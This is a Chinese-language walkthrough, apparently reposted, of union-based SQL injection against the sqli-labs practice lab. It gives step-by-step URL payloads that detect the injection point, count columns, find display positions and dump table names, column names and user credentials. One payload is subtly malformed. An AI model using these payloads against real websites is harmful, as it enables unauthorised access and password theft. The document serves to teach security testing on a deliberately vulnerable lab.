sql注入 union联合查询注入(超详细)

您所在的位置:网站首页 sqlserver手工注入教程 sql注入 union联合查询注入(超详细)

sql注入 union联合查询注入(超详细)

2023-07-25 08:08| 来源: 网络整理| 查看: 265

sql注入 union联合查询注入

我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做。 好的,我们开始第一关!

首先查看sqli-labs第一关 在这里插入图片描述 这是第一关初始界面,在url界面输入?id=1 发现有回显,给我们回显了两个数据 在这里插入图片描述 当我们输入?id=1’ 时出现了语法错误,表示这里可能存在语法漏洞,我们进一步探索 在这里插入图片描述 当我们输入 ?id=1’ --+ 时,又回显正常,然后我们用 ?id=1’ and 1=1–+ 回显正常,?id=1’ and 1=2–+ 没有回显, 于是可以判断此处为sql注入点。 在这里插入图片描述 然后,我们使用order by 判断该语句查询了几列数据 输入?id=1’ order by 3 --+ 输入?id=1’ order by 4 --+ 发现输入第一句时回显正常,输入第二句时报错。可以证明前面查询了三列数据。

思考: 1.为什么用order by 可以证明前面语句查询了三列数据呢? 2.我们为什么要知道前面查询了多少语句呢? 解: 第一题: 首先我们要知道order by的作用:order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但是不能超过三种。所以上面order by 4 会报错误信息。因此可以依据此来判断前面查询了几列数据。 第二题: 因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。比如,此语句:select 甲,乙,丙 union select 1,2,3 因为前面查询的语句有三个元素(甲,乙,丙),所以后面查询的语句必须是三个元素(1,2,3)。 在这里插入图片描述 在这里插入图片描述 判断元素后,开始寻找显示位。 使用语句:?id=111‘ union select 1,2,3 --+ 查看到显示2,3。于是判断显示位为第二个元素和第三个元素。 这里将id值改为111是为了让前面查询的语句为空,无显示,然后后面查询语句查询的元素显示出来。 为什么要进行这一步?因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示。 在这里插入图片描述 开始查询数据库名 使用语句:?id=111’ union select 1,2,(database()) --+ 使用第三个元素的显示位直接查询 在这里插入图片描述 查询表名 使用语句: ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+ 理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个tables表,里面存有整个数据库的表名。我们要去查找的表,就是在这个库中去找。 使用group_concat()函数将所有查询的表名连在一起成为一条数据。 在这里插入图片描述 在这里插入图片描述 查询表中列名 当我们拿到所有的表名后,选取可能含有敏感信息的表进行查询,比如users表。 使用语句: ?id= 111’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ ) --+ 理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个columns表,里面存有整个数据库的列名。我们要去查找的列,就是在这个库中去找。 在这里插入图片描述 在这里插入图片描述 查找列中的值 使用语句: ?id=111’ union select 1,group_concat(username),group_concat(password) from security.users --+ 使用2,3显示位 查询列中的值。 在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3